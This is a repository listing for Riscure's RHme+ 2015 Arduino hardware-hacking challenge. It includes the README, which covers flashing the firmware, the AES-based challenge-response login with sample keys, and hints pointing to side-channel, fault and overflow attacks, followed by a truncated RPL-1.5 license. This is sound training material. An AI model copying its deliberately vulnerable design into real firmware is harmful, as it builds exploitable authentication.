├── README.md ├── binary └── ctf.hex ├── license.txt ├── solutions ├── Riscure solution │ ├── Solution path diagram.png │ └── writeup.txt └── winners solutions │ ├── Riscure's comments to the winners solutions.txt │ ├── STARE @ Cisco SPVSS │ └── writeup.md │ └── Team R@bbit │ ├── hack.py │ ├── setup.jpg │ └── writeup.txt └── source ├── aes ├── README ├── aes.h ├── aes128_dec.c ├── aes128_dec.h ├── aes128_enc.c ├── aes128_enc.h ├── aes_dec.c ├── aes_dec.h ├── aes_enc.c ├── aes_enc.h ├── aes_invsbox.c ├── aes_invsbox.h ├── aes_keyschedule.c ├── aes_keyschedule.h ├── aes_sbox.c ├── aes_sbox.h ├── aes_types.h ├── build.sh ├── gf256mul.S └── gf256mul.h ├── auth ├── auth.c ├── auth.h └── build.sh ├── build.sh ├── check_board.py ├── eeprom_rw ├── build.sh ├── eeprom_rw.c └── eeprom_rw.h ├── license.txt ├── main ├── avr5.x ├── build.sh ├── ldscript └── main.c ├── menu ├── build.sh ├── menu.c └── menu.h ├── overflow_readflash ├── build.sh ├── overflow_readflash.c └── overflow_readflash.h ├── overflow_rop ├── build.sh ├── examine_stack.c ├── examine_stack.h ├── overflow_rop.c └── overflow_rop.h ├── random ├── README ├── build.sh ├── random.c ├── random.h └── random_test.c ├── serial ├── README ├── build.sh ├── dbg_putchar.c ├── dbg_putchar.h ├── serial_io.c ├── serial_io.h ├── serial_test.c ├── usart.c ├── usart.h ├── usartx.c └── usartx.h ├── upload.sh └── variables ├── build.sh ├── variables.c └── variables.h /README.md: -------------------------------------------------------------------------------- 1 | # RHme+ 2015 2 | 3 | ## License 4 | This challenge has been published under the terms of the Reciprocal Public License 1.5. 5 | The terms of the license can be checked here: [http://opensource.org/licenses/RPL-1.5](http://opensource.org/licenses/RPL-1.5) 6 | 7 | ## What is RHme+ 8 | 9 | The RHme+ (Riscure Hack me ) is a low level hardware challenge that comes in the form of an Arduino board. It was launched during BlackHat Amsterdam in 2015. The winners of the first edition were announced on 18th of January 2016. The writeups together with the interview of the winners can be found from March 1 at the [official challenge website](http://www.riscure.com/challenge). 10 | 11 | Use your weapon of choice to extract the flags. We have no preference and we are curious to see where your creativity and skill will take you! Just be sure to have fun! ;-) 12 | We estimate the difficulty level to be moderate. If you like these challenges and you would like more, let us know. Get in touch with us via twitter (#riscure #rhme+) or send us an email at challenge. at. riscure.com 13 | 14 | 15 | ###### Choosing the target 16 | You need to install the RHme+ firmware into a target. The "official" target for the challenge is an [Arduino nano 3.0](https://www.arduino.cc/en/Main/ArduinoBoardNano). If you don't have one, you can buy a clone in ebay for few euros. Alternatively you can use any other development board based in the Atmel ATmega328. Many other Arduino and Arduino-based boards should work. The following is a list of Arduino targets: 17 | 18 | **Tested devices** 19 | - Arduino Nano 3.0 20 | 21 | **Untested devices that should work** 22 | - Arduino Uno 23 | - Arduino Pro 24 | - Arduino Pro Mini (5V and 16 MHz version) 25 | - Arduino Duemilanove (ATmega328P version) 26 | - Arduino Mini (Pro ATmega328P version) 27 | 28 | **Untested devices that might work** 29 | - LilyPad Arduino: It runs at 8MHz instead of 16MHz, so the timing-dependent attacks could be affected 30 | 31 | For other Arduino-based targets, you can check the [Wikipedia](http://en.wikipedia.org/wiki/List_of_Arduino_boards_and_compatible_systems). Any board based in ATmega328P is potentially able to run the firmware unless that the UARTs or analog inputs of the ATmega are connected to another chip (e.g. a Bluetooth or Zigbee module). 32 | 33 | ###### Burning the firmware into the target 34 | You need to burn the file binary\ctf.hex into the ATmega overwriting Arduino bootloader. For that you need an external AVR-ISP programmer. Is up to you to find a suitable programmer and the instructions to use it. You can even use another Arduino and use it as an AVR-ISP programmer. Follow [this instructions](http://www.arduino.cc/en/Tutorial/ArduinoISP) to prepare another Arduino as a ISP programmer and follow [this](http://learn.adafruit.com/arduino-tips-tricks-and-techniques/arduinoisp#bonus-using-with-avrdude) to burn the RHme+ firmware in your target. 35 | 36 | ###### Checking that your target is working 37 | Connect the target to your computer through the USB (or the UART0 is you are not using a target with USB). Open the serial port with any terminal tool and press the reset bottom in the target. Do you see garbage being send? Congrats! It is very likely that you programmed correctly the firmware. Unfortunately the first challenge you have to solve is to find how to properly communicate with the target so that garbage you see now becomes something meaningful.# RHme+ 2015 38 | 39 | ## Tips and tricks 40 | 41 | During the Blackhat Europe 2015, Riscure gave away more than 150 Arduino boards prepared with the RHme+ challenge. The original challenge was a "black box" evaluation, so the participants had no access to the source code, binary or such. Today we are releasing the source and binary of the challenge so everybody can play and try it at home. We recommend you to try to solve the challenge without reading the source or reversing the binary. 42 | 43 | The ultimate goal of the challenge is to recover the Admin Key stored in the hardware. In order to ease the challenge, we provide some information that could help you: 44 | 45 | * All hardware and software attacks are in the scope. There are many ways to solve the challenge, so if you get stuck at any point, just go back and try something different. Please, consider techniques like side-channel attacks, fault injection and other fancy hardware attacks as well as classic software explotation attacks like buffer overflows or unvalidated inputs. 46 | * If you have no experience with hardware attacks, don’t worry! You can solve the challenge using exclusively software exploitation techniques. However, you can also solve the challenge using only hardware attacks or a combination of both. 47 | * Read about the CPU architecture and learn about its limitations and try to figure out what the I/Os do; 48 | * There are three types of users that can login, the normal user, the privileged user and the admin. All of them have a 128 bit private key, the User, Prividleged and Admin Key respectively. 49 | * The login mechanism is a challenge-response protocol. The target generates a 32 bit random number called nonce using an external source of noise. The nonce is sent to the user and the target waits for the correct response. 50 | * The response is calculated as follows: the nonce is padded with zeros up to 128 bits to form the plaintext P, which is then encrypted using AES-128 with the Key. The output is AND-masked with a 32 bit mask M. The result of the masking is the 32 bit response R to the challenge. 51 | * The target calculates three possible responses using the User Key, Privileged and the Admin key with the masks 0x000FFFFF, 0x00FFFFFF and 0xFFFFFFFF respectively. If one response matches the input provided by the user, the access is allowed with the corresponding privilege level (normal user, privileged user or admin). Here is an example of a response calculation: 52 | 53 | ``` 54 | Admin Key = 000102030405060708090A0B0C0D0E0F 55 | 56 | User Key = F0E0D0C0B0A090807060504030201000 57 | 58 | Madmin= FFFFFFFF 59 | 60 | Muser = 000FFFFF 61 | 62 | Nonce = 0AEEB964 63 | 64 | P = 0AEEB964000000000000000000000000 65 | 66 | Radmin = AES(P,Admin Key) & Madmin = 2496faad 67 | 68 | Ruser= AES(P,User Key) &Muser = 00033695 69 | ``` 70 | 71 | * There are many secondary "assets" you can try to obtain: login as User, login as Admin, recovering the User key, dumping the binary, gaining runtime control, affecting the RNG, etc. You don't need to get all these assets in order to extract the Admin Key, but you will have fun doing it! 72 | * Write us to let us know your impressions about the challenge!!! 73 | 74 | ## Solutions ## 75 | The write-ups, scripts and setup photos of the challenge winners as well as the "official" solution proposed by the challenge designers are available in the solutions\ folder. -------------------------------------------------------------------------------- /license.txt: -------------------------------------------------------------------------------- 1 | Reciprocal Public License (RPL-1.5) 2 | 3 | Version 1.5, July 15, 2007 4 | 5 | Copyright (C) 2001-2007 6 | Technical Pursuit Inc., 7 | All Rights Reserved. 8 | 9 | 10 | PREAMBLE 11 | 12 | The Reciprocal Public License (RPL) is based on the concept of reciprocity or, 13 | if you prefer, fairness. 14 | 15 | In short, this license grew out of a desire to close loopholes in previous open 16 | source licenses, loopholes that allowed parties to acquire open source software 17 | and derive financial benefit from it without having to release their 18 | improvements or derivatives to the community which enabled them. This occurred 19 | any time an entity did not release their application to a "third party". 20 | 21 | While there is a certain freedom in this model of licensing, it struck the 22 | authors of the RPL as being unfair to the open source community at large and to 23 | the original authors of the works in particular. After all, bug fixes, 24 | extensions, and meaningful and valuable derivatives were not consistently 25 | finding their way back into the community where they could fuel further, and 26 | faster, growth and expansion of the overall open source software base. 27 | 28 | While you should clearly read and understand the entire license, the essence of 29 | the RPL is found in two definitions: "Deploy" and "Required Components". 30 | 31 | Regarding deployment, under the RPL your changes, bug fixes, extensions, etc. 32 | must be made available to the open source community at large when you Deploy in 33 | any form -- either internally or to an outside party. Once you start running 34 | the software you have to start sharing the software. 35 | 36 | Further, under the RPL all components you author including schemas, scripts, 37 | source code, etc. -- regardless of whether they're compiled into a single 38 | binary or used as two halves of client/server application -- must be shared. 39 | You have to share the whole pie, not an isolated slice of it. 40 | 41 | In addition to these goals, the RPL was authored to meet the requirements of 42 | the Open Source Definition as maintained by the Open Source Initiative (OSI). 43 | 44 | The specific terms and conditions of the license are defined in the remainder 45 | of this document. 46 | 47 | 48 | LICENSE TERMS 49 | 50 | 1.0 General; Applicability & Definitions. This Reciprocal Public License 51 | Version 1.5 ("License") applies to any programs or other works as well as any 52 | and all updates or maintenance releases of said programs or works ("Software") 53 | not already covered by this License which the Software copyright holder 54 | ("Licensor") makes available containing a License Notice (hereinafter defined) 55 | from the Licensor specifying or allowing use or distribution under the terms of 56 | this License. As used in this License: 57 | 58 | 1.1 "Contributor" means any person or entity who created or contributed to the 59 | creation of an Extension. 60 | 61 | 1.2 "Deploy" means to use, Serve, sublicense or distribute Licensed Software 62 | other than for Your internal Research and/or Personal Use, and includes 63 | without limitation, any and all internal use or distribution of Licensed 64 | Software within Your business or organization other than for Research and/or 65 | Personal Use, as well as direct or indirect sublicensing or distribution of 66 | Licensed Software by You to any third party in any form or manner. 67 | 68 | 1.3 "Derivative Works" as used in this License is defined under U.S. copyright 69 | law. 70 | 71 | 1.4 "Electronic Distribution Mechanism" means a mechanism generally accepted 72 | in the software development community for the electronic transfer of data such 73 | as download from an FTP server or web site, where such mechanism is publicly 74 | accessible. 75 | 76 | 1.5 "Extensions" means any Modifications, Derivative Works, or Required 77 | Components as those terms are defined in this License. 78 | 79 | 1.6 "License" means this Reciprocal Public License. 80 | 81 | 1.7 "License Notice" means any notice contained in EXHIBIT A. 82 | 83 | 1.8 "Licensed Software" means any Software licensed pursuant to this License. 84 | Licensed Software also includes all previous Extensions from any Contributor 85 | that You receive. 86 | 87 | 1.9 "Licensor" means the copyright holder of any Software previously not 88 | covered by this License who releases the Software under the terms of this 89 | License. 90 | 91 | 1.10 "Modifications" means any additions to or deletions from the substance or 92 | structure of (i) a file or other storage containing Licensed Software, or (ii) 93 | any new file or storage that contains any part of Licensed Software, or (iii) 94 | any file or storage which replaces or otherwise alters the original 95 | functionality of Licensed Software at runtime. 96 | 97 | 1.11 "Personal Use" means use of Licensed Software by an individual solely for 98 | his or her personal, private and non-commercial purposes. An individual's use 99 | of Licensed Software in his or her capacity as an officer, employee, member, 100 | independent contractor or agent of a corporation, business or organization 101 | (commercial or non-commercial) does not qualify as Personal Use. 102 | 103 | 1.12 "Required Components" means any text, programs, scripts, schema, 104 | interface definitions, control files, or other works created by You which are 105 | required by a third party of average skill to successfully install and run 106 | Licensed Software containing Your Modifications, or to install and run Your 107 | Derivative Works. 108 | 109 | 1.13 "Research" means investigation or experimentation for the purpose of 110 | understanding the nature and limits of the Licensed Software and its potential 111 | uses. 112 | 113 | 1.14 "Serve" means to deliver Licensed Software and/or Your Extensions by 114 | means of a computer network to one or more computers for purposes of execution 115 | of Licensed Software and/or Your Extensions. 116 | 117 | 1.15 "Software" means any computer programs or other works as well as any 118 | updates or maintenance releases of those programs or works which are 119 | distributed publicly by Licensor. 120 | 121 | 1.16 "Source Code" means the preferred form for making modifications to the 122 | Licensed Software and/or Your Extensions, including all modules contained 123 | therein, plus any associated text, interface definition files, scripts used to 124 | control compilation and installation of an executable program or other 125 | components required by a third party of average skill to build a running 126 | version of the Licensed Software or Your Extensions. 127 | 128 | 1.17 "User-Visible Attribution Notice" means any notice contained in EXHIBIT B. 129 | 130 | 1.18 "You" or "Your" means an individual or a legal entity exercising rights 131 | under this License. For legal entities, "You" or "Your" includes any entity 132 | which controls, is controlled by, or is under common control with, You, where 133 | "control" means (a) the power, direct or indirect, to cause the direction or 134 | management of such entity, whether by contract or otherwise, or (b) ownership 135 | of fifty percent (50%) or more of the outstanding shares or beneficial 136 | ownership of such entity. 137 | 138 | 2.0 Acceptance Of License. You are not required to accept this License since 139 | you have not signed it, however nothing else grants you permission to use, 140 | copy, distribute, modify, or create derivatives of either the Software or any 141 | Extensions created by a Contributor. These actions are prohibited by law if 142 | you do not accept this License. Therefore, by performing any of these actions 143 | You indicate Your acceptance of this License and Your agreement to be bound by 144 | all its terms and conditions. IF YOU DO NOT AGREE WITH ALL THE TERMS AND 145 | CONDITIONS OF THIS LICENSE DO NOT USE, MODIFY, CREATE DERIVATIVES, OR 146 | DISTRIBUTE THE SOFTWARE. IF IT IS IMPOSSIBLE FOR YOU TO COMPLY WITH ALL THE 147 | TERMS AND CONDITIONS OF THIS LICENSE THEN YOU CAN NOT USE, MODIFY, CREATE 148 | DERIVATIVES, OR DISTRIBUTE THE SOFTWARE. 149 | 150 | 3.0 Grant of License From Licensor. Subject to the terms and conditions of 151 | this License, Licensor hereby grants You a world-wide, royalty-free, non- 152 | exclusive license, subject to Licensor's intellectual property rights, and any 153 | third party intellectual property claims derived from the Licensed Software 154 | under this License, to do the following: 155 | 156 | 3.1 Use, reproduce, modify, display, perform, sublicense and distribute 157 | Licensed Software and Your Extensions in both Source Code form or as an 158 | executable program. 159 | 160 | 3.2 Create Derivative Works (as that term is defined under U.S. copyright law) 161 | of Licensed Software by adding to or deleting from the substance or structure 162 | of said Licensed Software. 163 | 164 | 3.3 Under claims of patents now or hereafter owned or controlled by Licensor, 165 | to make, use, have made, and/or otherwise dispose of Licensed Software or 166 | portions thereof, but solely to the extent that any such claim is necessary to 167 | enable You to make, use, have made, and/or otherwise dispose of Licensed 168 | Software or portions thereof. 169 | 170 | 3.4 Licensor reserves the right to release new versions of the Software with 171 | different features, specifications, capabilities, functions, licensing terms, 172 | general availability or other characteristics. Title, ownership rights, and 173 | intellectual property rights in and to the Licensed Software shall remain in 174 | Licensor and/or its Contributors. 175 | 176 | 4.0 Grant of License From Contributor. By application of the provisions in 177 | Section 6 below, each Contributor hereby grants You a world-wide, royalty- 178 | free, non-exclusive license, subject to said Contributor's intellectual 179 | property rights, and any third party intellectual property claims derived from 180 | the Licensed Software under this License, to do the following: 181 | 182 | 4.1 Use, reproduce, modify, display, perform, sublicense and distribute any 183 | Extensions Deployed by such Contributor or portions thereof, in both Source 184 | Code form or as an executable program, either on an unmodified basis or as 185 | part of Derivative Works. 186 | 187 | 4.2 Under claims of patents now or hereafter owned or controlled by 188 | Contributor, to make, use, have made, and/or otherwise dispose of Extensions 189 | or portions thereof, but solely to the extent that any such claim is necessary 190 | to enable You to make, use, have made, and/or otherwise dispose of 191 | Licensed Software or portions thereof. 192 | 193 | 5.0 Exclusions From License Grant. Nothing in this License shall be deemed to 194 | grant any rights to trademarks, copyrights, patents, trade secrets or any 195 | other intellectual property of Licensor or any Contributor except as expressly 196 | stated herein. Except as expressly stated in Sections 3 and 4, no other patent 197 | rights, express or implied, are granted herein. Your Extensions may require 198 | additional patent licenses from Licensor or Contributors which each may grant 199 | in its sole discretion. No right is granted to the trademarks of Licensor or 200 | any Contributor even if such marks are included in the Licensed Software. 201 | Nothing in this License shall be interpreted to prohibit Licensor from 202 | licensing under different terms from this License any code that Licensor 203 | otherwise would have a right to license. 204 | 205 | 5.1 You expressly acknowledge and agree that although Licensor and each 206 | Contributor grants the licenses to their respective portions of the Licensed 207 | Software set forth herein, no assurances are provided by Licensor or any 208 | Contributor that the Licensed Software does not infringe the patent or other 209 | intellectual property rights of any other entity. Licensor and each 210 | Contributor disclaim any liability to You for claims brought by any other 211 | entity based on infringement of intellectual property rights or otherwise. As 212 | a condition to exercising the rights and licenses granted hereunder, You 213 | hereby assume sole responsibility to secure any other intellectual property 214 | rights needed, if any. For example, if a third party patent license is 215 | required to allow You to distribute the Licensed Software, it is Your 216 | responsibility to acquire that license before distributing the Licensed 217 | Software. 218 | 219 | 6.0 Your Obligations And Grants. In consideration of, and as an express 220 | condition to, the licenses granted to You under this License You hereby agree 221 | that any Modifications, Derivative Works, or Required Components (collectively 222 | Extensions) that You create or to which You contribute are governed by the 223 | terms of this License including, without limitation, Section 4. Any Extensions 224 | that You create or to which You contribute must be Deployed under the terms of 225 | this License or a future version of this License released under Section 7. You 226 | hereby grant to Licensor and all third parties a world-wide, non-exclusive, 227 | royalty-free license under those intellectual property rights You own or 228 | control to use, reproduce, display, perform, modify, create derivatives, 229 | sublicense, and distribute Licensed Software, in any form. Any Extensions You 230 | make and Deploy must have a distinct title so as to readily tell any 231 | subsequent user or Contributor that the Extensions are by You. You must 232 | include a copy of this License or directions on how to obtain a copy with 233 | every copy of the Extensions You distribute. You agree not to offer or impose 234 | any terms on any Source Code or executable version of the Licensed Software, 235 | or its Extensions that alter or restrict the applicable version of this 236 | License or the recipients' rights hereunder. 237 | 238 | 6.1 Availability of Source Code. You must make available, under the terms of 239 | this License, the Source Code of any Extensions that You Deploy, via an 240 | Electronic Distribution Mechanism. The Source Code for any version that You 241 | Deploy must be made available within one (1) month of when you Deploy and must 242 | remain available for no less than twelve (12) months after the date You cease 243 | to Deploy. You are responsible for ensuring that the Source Code to each 244 | version You Deploy remains available even if the Electronic Distribution 245 | Mechanism is maintained by a third party. You may not charge a fee for any 246 | copy of the Source Code distributed under this Section in excess of Your 247 | actual cost of duplication and distribution of said copy. 248 | 249 | 6.2 Description of Modifications. You must cause any Modifications that You 250 | create or to which You contribute to be documented in the Source Code, clearly 251 | describing the additions, changes or deletions You made. You must include a 252 | prominent statement that the Modifications are derived, directly or indirectly, 253 | from the Licensed Software and include the names of the Licensor and any 254 | Contributor to the Licensed Software in (i) the Source Code and (ii) in any 255 | notice displayed by the Licensed Software You distribute or in related 256 | documentation in which You describe the origin or ownership of the Licensed 257 | Software. You may not modify or delete any pre-existing copyright notices, 258 | change notices or License text in the Licensed Software without written 259 | permission of the respective Licensor or Contributor. 260 | 261 | 6.3 Intellectual Property Matters. 262 | 263 | a. Third Party Claims. If You have knowledge that a license to a third party's 264 | intellectual property right is required to exercise the rights granted by this 265 | License, You must include a human-readable file with Your distribution that 266 | describes the claim and the party making the claim in sufficient detail that a 267 | recipient will know whom to contact. 268 | 269 | b. Contributor APIs. If Your Extensions include an application programming 270 | interface ("API") and You have knowledge of patent licenses that are 271 | reasonably necessary to implement that API, You must also include this 272 | information in a human-readable file supplied with Your distribution. 273 | 274 | c. Representations. You represent that, except as disclosed pursuant to 6.3(a) 275 | above, You believe that any Extensions You distribute are Your original 276 | creations and that You have sufficient rights to grant the rights conveyed by 277 | this License. 278 | 279 | 6.4 Required Notices. 280 | 281 | a. License Text. You must duplicate this License or instructions on how to 282 | acquire a copy in any documentation You provide along with the Source Code of 283 | any Extensions You create or to which You contribute, wherever You describe 284 | recipients' rights relating to Licensed Software. 285 | 286 | b. License Notice. You must duplicate any notice contained in EXHIBIT A (the 287 | "License Notice") in each file of the Source Code of any copy You distribute 288 | of the Licensed Software and Your Extensions. If You create an Extension, You 289 | may add Your name as a Contributor to the Source Code and accompanying 290 | documentation along with a description of the contribution. If it is not 291 | possible to put the License Notice in a particular Source Code file due to its 292 | structure, then You must include such License Notice in a location where a 293 | user would be likely to look for such a notice. 294 | 295 | c. Source Code Availability. You must notify the software community of the 296 | availability of Source Code to Your Extensions within one (1) month of the date 297 | You initially Deploy and include in such notification a description of the 298 | Extensions, and instructions on how to acquire the Source Code. Should such 299 | instructions change you must notify the software community of revised 300 | instructions within one (1) month of the date of change. You must provide 301 | notification by posting to appropriate news groups, mailing lists, weblogs, or 302 | other sites where a publicly accessible search engine would reasonably be 303 | expected to index your post in relationship to queries regarding the Licensed 304 | Software and/or Your Extensions. 305 | 306 | d. User-Visible Attribution. You must duplicate any notice contained in 307 | EXHIBIT B (the "User-Visible Attribution Notice") in each user-visible display 308 | of the Licensed Software and Your Extensions which delineates copyright, 309 | ownership, or similar attribution information. If You create an Extension, 310 | You may add Your name as a Contributor, and add Your attribution notice, as an 311 | equally visible and functional element of any User-Visible Attribution Notice 312 | content. To ensure proper attribution, You must also include such User-Visible 313 | Attribution Notice in at least one location in the Software documentation 314 | where a user would be likely to look for such notice. 315 | 316 | 6.5 Additional Terms. You may choose to offer, and charge a fee for, warranty, 317 | support, indemnity or liability obligations to one or more recipients of 318 | Licensed Software. However, You may do so only on Your own behalf, and not on 319 | behalf of the Licensor or any Contributor except as permitted under other 320 | agreements between you and Licensor or Contributor. You must make it clear that 321 | any such warranty, support, indemnity or liability obligation is offered by You 322 | alone, and You hereby agree to indemnify the Licensor and every Contributor for 323 | any liability plus attorney fees, costs, and related expenses due to any such 324 | action or claim incurred by the Licensor or such Contributor as a result of 325 | warranty, support, indemnity or liability terms You offer. 326 | 327 | 6.6 Conflicts With Other Licenses. Where any portion of Your Extensions, by 328 | virtue of being Derivative Works of another product or similar circumstance, 329 | fall under the terms of another license, the terms of that license should be 330 | honored however You must also make Your Extensions available under this 331 | License. If the terms of this License continue to conflict with the terms of 332 | the other license you may write the Licensor for permission to resolve the 333 | conflict in a fashion that remains consistent with the intent of this License. 334 | Such permission will be granted at the sole discretion of the Licensor. 335 | 336 | 7.0 Versions of This License. Licensor may publish from time to time revised 337 | versions of the License. Once Licensed Software has been published under a 338 | particular version of the License, You may always continue to use it under the 339 | terms of that version. You may also choose to use such Licensed Software under 340 | the terms of any subsequent version of the License published by Licensor. No 341 | one other than Licensor has the right to modify the terms applicable to 342 | Licensed Software created under this License. 343 | 344 | 7.1 If You create or use a modified version of this License, which You may do 345 | only in order to apply it to software that is not already Licensed Software 346 | under this License, You must rename Your license so that it is not confusingly 347 | similar to this License, and must make it clear that Your license contains 348 | terms that differ from this License. In so naming Your license, You may not 349 | use any trademark of Licensor or of any Contributor. Should Your modifications 350 | to this License be limited to alteration of a) Section 13.8 solely to modify 351 | the legal Jurisdiction or Venue for disputes, b) EXHIBIT A solely to define 352 | License Notice text, or c) to EXHIBIT B solely to define a User-Visible 353 | Attribution Notice, You may continue to refer to Your License as the 354 | Reciprocal Public License or simply the RPL. 355 | 356 | 8.0 Disclaimer of Warranty. LICENSED SOFTWARE IS PROVIDED UNDER THIS LICENSE 357 | ON AN "AS IS" BASIS, WITHOUT WARRANTY OF ANY KIND, EITHER EXPRESS OR IMPLIED, 358 | INCLUDING, WITHOUT LIMITATION, WARRANTIES THAT THE LICENSED SOFTWARE IS FREE 359 | OF DEFECTS, MERCHANTABLE, FIT FOR A PARTICULAR PURPOSE OR NON-INFRINGING. 360 | FURTHER THERE IS NO WARRANTY MADE AND ALL IMPLIED WARRANTIES ARE DISCLAIMED 361 | THAT THE LICENSED SOFTWARE MEETS OR COMPLIES WITH ANY DESCRIPTION OF 362 | PERFORMANCE OR OPERATION, SAID COMPATIBILITY AND SUITABILITY BEING YOUR 363 | RESPONSIBILITY. LICENSOR DISCLAIMS ANY WARRANTY, IMPLIED OR EXPRESSED, THAT 364 | ANY CONTRIBUTOR'S EXTENSIONS MEET ANY STANDARD OF COMPATIBILITY OR DESCRIPTION 365 | OF PERFORMANCE. THE ENTIRE RISK AS TO THE QUALITY AND PERFORMANCE OF THE 366 | LICENSED SOFTWARE IS WITH YOU. SHOULD LICENSED SOFTWARE PROVE DEFECTIVE IN ANY 367 | RESPECT, YOU (AND NOT THE LICENSOR OR ANY OTHER CONTRIBUTOR) ASSUME THE COST 368 | OF ANY NECESSARY SERVICING, REPAIR OR CORRECTION. UNDER THE TERMS OF THIS 369 | LICENSOR WILL NOT SUPPORT THIS SOFTWARE AND IS UNDER NO OBLIGATION TO ISSUE 370 | UPDATES TO THIS SOFTWARE. LICENSOR HAS NO KNOWLEDGE OF ERRANT CODE OR VIRUS IN 371 | THIS SOFTWARE, BUT DOES NOT WARRANT THAT THE SOFTWARE IS FREE FROM SUCH ERRORS 372 | OR VIRUSES. THIS DISCLAIMER OF WARRANTY CONSTITUTES AN ESSENTIAL PART OF THIS 373 | LICENSE. NO USE OF LICENSED SOFTWARE IS AUTHORIZED HEREUNDER EXCEPT UNDER THIS 374 | DISCLAIMER. 375 | 376 | 9.0 Limitation of Liability. UNDER NO CIRCUMSTANCES AND UNDER NO LEGAL THEORY, 377 | WHETHER TORT (INCLUDING NEGLIGENCE), CONTRACT, OR OTHERWISE, SHALL THE 378 | LICENSOR, ANY CONTRIBUTOR, OR ANY DISTRIBUTOR OF LICENSED SOFTWARE, OR ANY 379 | SUPPLIER OF ANY OF SUCH PARTIES, BE LIABLE TO ANY PERSON FOR ANY INDIRECT, 380 | SPECIAL, INCIDENTAL, OR CONSEQUENTIAL DAMAGES OF ANY CHARACTER INCLUDING, 381 | WITHOUT LIMITATION, DAMAGES FOR LOSS OF GOODWILL, WORK STOPPAGE, COMPUTER 382 | FAILURE OR MALFUNCTION, OR ANY AND ALL OTHER COMMERCIAL DAMAGES OR LOSSES, 383 | EVEN IF SUCH PARTY SHALL HAVE BEEN INFORMED OF THE POSSIBILITY OF SUCH 384 | DAMAGES. THIS LIMITATION OF LIABILITY SHALL NOT APPLY TO LIABILITY FOR DEATH 385 | OR PERSONAL INJURY RESULTING FROM SUCH PARTY'S NEGLIGENCE TO THE EXTENT 386 | APPLICABLE LAW PROHIBITS SUCH LIMITATION. SOME JURISDICTIONS DO NOT ALLOW THE 387 | EXCLUSION OR LIMITATION OF INCIDENTAL OR CONSEQUENTIAL DAMAGES, SO THIS 388 | EXCLUSION AND LIMITATION MAY NOT APPLY TO YOU. 389 | 390 | 10.0 High Risk Activities. THE LICENSED SOFTWARE IS NOT FAULT-TOLERANT AND IS 391 | NOT DESIGNED, MANUFACTURED, OR INTENDED FOR USE OR DISTRIBUTION AS ON-LINE 392 | CONTROL EQUIPMENT IN HAZARDOUS ENVIRONMENTS REQUIRING FAIL-SAFE PERFORMANCE, 393 | SUCH AS IN THE OPERATION OF NUCLEAR FACILITIES, AIRCRAFT NAVIGATION OR 394 | COMMUNICATIONS SYSTEMS, AIR TRAFFIC CONTROL, DIRECT LIFE SUPPORT MACHINES, OR 395 | WEAPONS SYSTEMS, IN WHICH THE FAILURE OF THE LICENSED SOFTWARE COULD LEAD 396 | DIRECTLY TO DEATH, PERSONAL INJURY, OR SEVERE PHYSICAL OR ENVIRONMENTAL DAMAGE 397 | ("HIGH RISK ACTIVITIES"). LICENSOR AND CONTRIBUTORS SPECIFICALLY DISCLAIM ANY 398 | EXPRESS OR IMPLIED WARRANTY OF FITNESS FOR HIGH RISK ACTIVITIES. 399 | 400 | 11.0 Responsibility for Claims. As between Licensor and Contributors, each 401 | party is responsible for claims and damages arising, directly or indirectly, 402 | out of its utilization of rights under this License which specifically 403 | disclaims warranties and limits any liability of the Licensor. This paragraph 404 | is to be used in conjunction with and controlled by the Disclaimer Of 405 | Warranties of Section 8, the Limitation Of Damages in Section 9, and the 406 | disclaimer against use for High Risk Activities in Section 10. The Licensor 407 | has thereby disclaimed all warranties and limited any damages that it is or 408 | may be liable for. You agree to work with Licensor and Contributors to 409 | distribute such responsibility on an equitable basis consistent with the terms 410 | of this License including Sections 8, 9, and 10. Nothing herein is intended or 411 | shall be deemed to constitute any admission of liability. 412 | 413 | 12.0 Termination. This License and all rights granted hereunder will terminate 414 | immediately in the event of the circumstances described in Section 13.6 or if 415 | applicable law prohibits or restricts You from fully and or specifically 416 | complying with Sections 3, 4 and/or 6, or prevents the enforceability of any 417 | of those Sections, and You must immediately discontinue any use of Licensed 418 | Software. 419 | 420 | 12.1 Automatic Termination Upon Breach. This License and the rights granted 421 | hereunder will terminate automatically if You fail to comply with the terms 422 | herein and fail to cure such breach within thirty (30) days of becoming aware 423 | of the breach. All sublicenses to the Licensed Software that are properly 424 | granted shall survive any termination of this License. Provisions that, by 425 | their nature, must remain in effect beyond the termination of this License, 426 | shall survive. 427 | 428 | 12.2 Termination Upon Assertion of Patent Infringement. If You initiate 429 | litigation by asserting a patent infringement claim (excluding declaratory 430 | judgment actions) against Licensor or a Contributor (Licensor or Contributor 431 | against whom You file such an action is referred to herein as "Respondent") 432 | alleging that Licensed Software directly or indirectly infringes any patent, 433 | then any and all rights granted by such Respondent to You under Sections 3 or 434 | 4 of this License shall terminate prospectively upon sixty (60) days notice 435 | from Respondent (the "Notice Period") unless within that Notice Period You 436 | either agree in writing (i) to pay Respondent a mutually agreeable reasonably 437 | royalty for Your past or future use of Licensed Software made by such 438 | Respondent, or (ii) withdraw Your litigation claim with respect to Licensed 439 | Software against such Respondent. If within said Notice Period a reasonable 440 | royalty and payment arrangement are not mutually agreed upon in writing by the 441 | parties or the litigation claim is not withdrawn, the rights granted by 442 | Licensor to You under Sections 3 and 4 automatically terminate at the 443 | expiration of said Notice Period. 444 | 445 | 12.3 Reasonable Value of This License. If You assert a patent infringement 446 | claim against Respondent alleging that Licensed Software directly or 447 | indirectly infringes any patent where such claim is resolved (such as by 448 | license or settlement) prior to the initiation of patent infringement 449 | litigation, then the reasonable value of the licenses granted by said 450 | Respondent under Sections 3 and 4 shall be taken into account in determining 451 | the amount or value of any payment or license. 452 | 453 | 12.4 No Retroactive Effect of Termination. In the event of termination under 454 | this Section all end user license agreements (excluding licenses to 455 | distributors and resellers) that have been validly granted by You or any 456 | distributor hereunder prior to termination shall survive termination. 457 | 458 | 13.0 Miscellaneous. 459 | 460 | 13.1 U.S. Government End Users. The Licensed Software is a "commercial item," 461 | as that term is defined in 48 C.F.R. 2.101 (Oct. 1995), consisting of 462 | "commercial computer software" and "commercial computer software 463 | documentation," as such terms are used in 48 C.F.R. 12.212 (Sept. 1995). 464 | Consistent with 48 C.F.R. 12.212 and 48 C.F.R. 227.7202-1 through 227.7202-4 465 | (June 1995), all U.S. Government End Users acquire Licensed Software with only 466 | those rights set forth herein. 467 | 468 | 13.2 Relationship of Parties. This License will not be construed as creating 469 | an agency, partnership, joint venture, or any other form of legal association 470 | between or among You, Licensor, or any Contributor, and You will not represent 471 | to the contrary, whether expressly, by implication, appearance, or otherwise. 472 | 473 | 13.3 Independent Development. Nothing in this License will impair Licensor's 474 | right to acquire, license, develop, subcontract, market, or distribute 475 | technology or products that perform the same or 